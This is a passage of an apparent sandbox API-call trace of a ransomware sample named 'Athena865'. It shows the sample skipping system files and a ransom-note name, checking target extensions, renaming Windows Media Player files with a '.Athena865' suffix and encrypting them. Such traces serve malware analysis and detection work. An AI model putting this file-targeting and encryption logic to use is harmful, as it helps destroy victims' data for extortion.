(lpString1="setup_wm.exe.mui", lpString2="ids.txt") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ntuser.dat") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="perflogs") returned 1 [0096.266] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="MSBuild") returned 1 [0096.267] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0096.267] lstrcpyW (in: lpString1=0x241e8ac, lpString2="setup_wm.exe.mui" | out: lpString1="setup_wm.exe.mui") returned="setup_wm.exe.mui" [0096.267] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0096.267] lstrlenW (lpString="Athena865") returned 9 [0096.267] lstrcmpiW (lpString1="m.exe.mui", lpString2="Athena865") returned 1 [0096.267] lstrlenW (lpString=".dll") returned 4 [0096.267] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".dll") returned 1 [0096.267] lstrlenW (lpString=".lnk") returned 4 [0096.267] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".lnk") returned 1 [0096.267] lstrlenW (lpString=".ini") returned 4 [0096.267] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".ini") returned 1 [0096.267] lstrlenW (lpString=".sys") returned 4 [0096.267] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".sys") returned 1 [0096.267] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0096.267] lstrlenW (lpString="bak") returned 3 [0096.267] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.267] lstrlenW (lpString="ba_") returned 3 [0096.267] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.267] lstrlenW (lpString="dbb") returned 3 [0096.267] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.267] lstrlenW (lpString="vmdk") returned 4 [0096.267] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.267] lstrlenW (lpString="rar") returned 3 [0096.267] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.267] lstrlenW (lpString="zip") returned 3 [0096.267] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.267] lstrlenW (lpString="tgz") returned 3 [0096.267] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.267] lstrlenW (lpString="vbox") returned 4 [0096.267] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.267] lstrlenW (lpString="vdi") returned 3 [0096.267] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.268] lstrlenW (lpString="vhd") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.268] lstrlenW (lpString="vhdx") returned 4 [0096.268] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.268] lstrlenW (lpString="avhd") returned 4 [0096.268] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.268] lstrlenW (lpString="db") returned 2 [0096.268] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.268] lstrlenW (lpString="db2") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.268] lstrlenW (lpString="db3") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.268] lstrlenW (lpString="dbf") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.268] lstrlenW (lpString="mdf") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.268] lstrlenW (lpString="mdb") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.268] lstrlenW (lpString="sql") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.268] lstrlenW (lpString="sqlite") returned 6 [0096.268] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0096.268] lstrlenW (lpString="sqlite3") returned 7 [0096.268] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0096.268] lstrlenW (lpString="sqlitedb") returned 8 [0096.268] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0096.268] lstrlenW (lpString="xml") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.268] lstrlenW (lpString="$er") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.268] lstrlenW (lpString="4dd") returned 3 [0096.268] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.269] lstrlenW (lpString="4dl") returned 3 [0096.269] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.269] lstrlenW (lpString="^^^") returned 3 [0096.269] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.269] lstrlenW (lpString="abs") returned 3 [0096.269] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.269] lstrlenW (lpString="abx") returned 3 [0096.269] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.269] lstrlenW (lpString="accdb") returned 5 [0096.269] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0096.269] lstrlenW (lpString="accdc") returned 5 [0096.269] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0096.269] lstrlenW (lpString="accde") returned 5 [0096.269] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0096.269] lstrlenW (lpString="accdr") returned 5 [0096.269] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0096.269] lstrlenW (lpString="accdt") returned 5 [0096.269] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0096.269] lstrlenW (lpString="accdw") returned 5 [0096.269] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0096.269] lstrlenW (lpString="accft") returned 5 [0096.269] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0096.269] lstrlenW (lpString="adb") returned 3 [0096.269] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.269] lstrlenW (lpString="adb") returned 3 [0096.269] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.269] lstrlenW (lpString="ade") returned 3 [0096.269] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.269] lstrlenW (lpString="adf") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.270] lstrlenW (lpString="adn") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.270] lstrlenW (lpString="adp") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0096.270] lstrlenW (lpString="alf") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.270] lstrlenW (lpString="ask") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.270] lstrlenW (lpString="btr") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.270] lstrlenW (lpString="cat") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.270] lstrlenW (lpString="cdb") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.270] lstrlenW (lpString="ckp") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.270] lstrlenW (lpString="cma") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.270] lstrlenW (lpString="cpd") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.270] lstrlenW (lpString="dacpac") returned 6 [0096.270] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0096.270] lstrlenW (lpString="dad") returned 3 [0096.270] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.270] lstrlenW (lpString="dadiagrams") returned 10 [0096.270] lstrcmpiW (lpString1="wm.exe.mui", lpString2="dadiagrams") returned 1 [0096.270] lstrlenW (lpString="daschema") returned 8 [0096.270] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0096.271] lstrlenW (lpString="db-journal") returned 10 [0096.271] lstrcmpiW (lpString1="wm.exe.mui", lpString2="db-journal") returned 1 [0096.271] lstrlenW (lpString="db-shm") returned 6 [0096.271] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0096.271] lstrlenW (lpString="db-wal") returned 6 [0096.271] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0096.271] lstrlenW (lpString="dbc") returned 3 [0096.271] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.271] lstrlenW (lpString="dbs") returned 3 [0096.271] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.271] lstrlenW (lpString="dbt") returned 3 [0096.271] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.271] lstrlenW (lpString="dbv") returned 3 [0096.271] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.271] lstrlenW (lpString="dbx") returned 3 [0096.271] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.271] lstrlenW (lpString="dcb") returned 3 [0096.271] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.271] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui.Athena865") returned 76 [0096.271] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\setup_wm.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\setup_wm.exe.mui.athena865"), dwFlags=0x1) returned 1 [0096.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\setup_wm.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.272] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56320) returned 1 [0096.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.273] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.273] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.274] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.274] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf00, lpName=0x0) returned 0x17c [0096.275] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf00) returned 0x100000 [0096.279] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.279] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.279] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.280] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.281] CloseHandle (hObject=0x17c) returned 1 [0096.281] CloseHandle (hObject=0x154) returned 1 [0096.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.281] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0096.281] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.281] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.281] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0096.281] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0096.281] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="windows") returned 1 [0096.281] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="bootmgr") returned 1 [0096.281] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="temp") returned 1 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="pagefile.sys") returned 1 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="boot") returned 1 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="ids.txt") returned 1 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="ntuser.dat") returned 1 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="perflogs") returned 1 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="MSBuild") returned 1 [0096.282] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0096.282] lstrcpyW (in: lpString1=0x241e8ac, lpString2="wmlaunch.exe.mui" | out: lpString1="wmlaunch.exe.mui") returned="wmlaunch.exe.mui" [0096.282] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0096.282] lstrlenW (lpString="Athena865") returned 9 [0096.282] lstrcmpiW (lpString1="h.exe.mui", lpString2="Athena865") returned 1 [0096.282] lstrlenW (lpString=".dll") returned 4 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".dll") returned 1 [0096.282] lstrlenW (lpString=".lnk") returned 4 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".lnk") returned 1 [0096.282] lstrlenW (lpString=".ini") returned 4 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".ini") returned 1 [0096.282] lstrlenW (lpString=".sys") returned 4 [0096.282] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".sys") returned 1 [0096.282] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0096.282] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui.Athena865") returned 76 [0096.282] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmlaunch.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmlaunch.exe.mui.athena865"), dwFlags=0x1) returned 1 [0096.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmlaunch.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.284] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0096.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.284] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.285] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.285] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.285] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x17c [0096.289] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0096.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.298] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.298] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.298] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.298] CloseHandle (hObject=0x17c) returned 1 [0096.299] CloseHandle (hObject=0x154) returned 1 [0096.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.299] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="windows") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="bootmgr") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="temp") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="pagefile.sys") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="boot") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="ids.txt") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="ntuser.dat") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="perflogs") returned 1 [0096.299] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="MSBuild") returned 1 [0096.299] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0096.299] lstrcpyW (in: lpString1=0x241e8ac, lpString2="WMPDMC.exe.mui" | out: lpString1="WMPDMC.exe.mui") returned="WMPDMC.exe.mui" [0096.299] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0096.299] lstrlenW (lpString="Athena865") returned 9 [0096.300] lstrcmpiW (lpString1="C.exe.mui", lpString2="Athena865") returned 1 [0096.300] lstrlenW (lpString=".dll") returned 4 [0096.300] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".dll") returned 1 [0096.300] lstrlenW (lpString=".lnk") returned 4 [0096.300] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".lnk") returned 1 [0096.300] lstrlenW (lpString=".ini") returned 4 [0096.300] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".ini") returned 1 [0096.300] lstrlenW (lpString=".sys") returned 4 [0096.300] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".sys") returned 1 [0096.300] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0096.300] lstrlenW (lpString="bak") returned 3 [0096.300] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.300] lstrlenW (lpString="ba_") returned 3 [0096.300] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.300] lstrlenW (lpString="dbb") returned 3 [0096.300] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.300] lstrlenW (lpString="vmdk") returned 4 [0096.300] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.300] lstrlenW (lpString="rar") returned 3 [0096.300] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.300] lstrlenW (lpString="zip") returned 3 [0096.300] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.300] lstrlenW (lpString="tgz") returned 3 [0096.300] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.300] lstrlenW (lpString="vbox") returned 4 [0096.300] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.300] lstrlenW (lpString="vdi") returned 3 [0096.300] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.300] lstrlenW (lpString="vhd") returned 3 [0096.300] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.300] lstrlenW (lpString="vhdx") returned 4 [0096.300] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.301] lstrlenW (lpString="avhd") returned 4 [0096.301] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.301] lstrlenW (lpString="db") returned 2 [0096.301] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.301] lstrlenW (lpString="db2") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.301] lstrlenW (lpString="db3") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.301] lstrlenW (lpString="dbf") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.301] lstrlenW (lpString="mdf") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.301] lstrlenW (lpString="mdb") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.301] lstrlenW (lpString="sql") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.301] lstrlenW (lpString="sqlite") returned 6 [0096.301] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0096.301] lstrlenW (lpString="sqlite3") returned 7 [0096.301] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0096.301] lstrlenW (lpString="sqlitedb") returned 8 [0096.301] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0096.301] lstrlenW (lpString="xml") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.301] lstrlenW (lpString="$er") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.301] lstrlenW (lpString="4dd") returned 3 [0096.301] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.301] lstrlenW (lpString="4dl") returned 3 [0096.302] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.302] lstrlenW (lpString="^^^") returned 3 [0096.302] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.302] lstrlenW (lpString="abs") returned 3 [0096.302] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.302] lstrlenW (lpString="abx") returned 3 [0096.302] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.302] lstrlenW (lpString="accdb") returned 5 [0096.302] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0096.302] lstrlenW (lpString="accdc") returned 5 [0096.302] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0096.302] lstrlenW (lpString="accde") returned 5 [0096.302] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0096.302] lstrlenW (lpString="accdr") returned 5 [0096.302] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0096.302] lstrlenW (lpString="accdt") returned 5 [0096.302] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0096.302] lstrlenW (lpString="accdw") returned 5 [0096.302] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0096.302] lstrlenW (lpString="accft") returned 5 [0096.302] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0096.302] lstrlenW (lpString="adb") returned 3 [0096.302] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.302] lstrlenW (lpString="adb") returned 3 [0096.302] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.302] lstrlenW (lpString="ade") returned 3 [0096.302] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.302] lstrlenW (lpString="adf") returned 3 [0096.302] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.302] lstrlenW (lpString="adn") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.303] lstrlenW (lpString="adp") returned 3 [0096.303] lstrcmpiW (lpString1="mui", 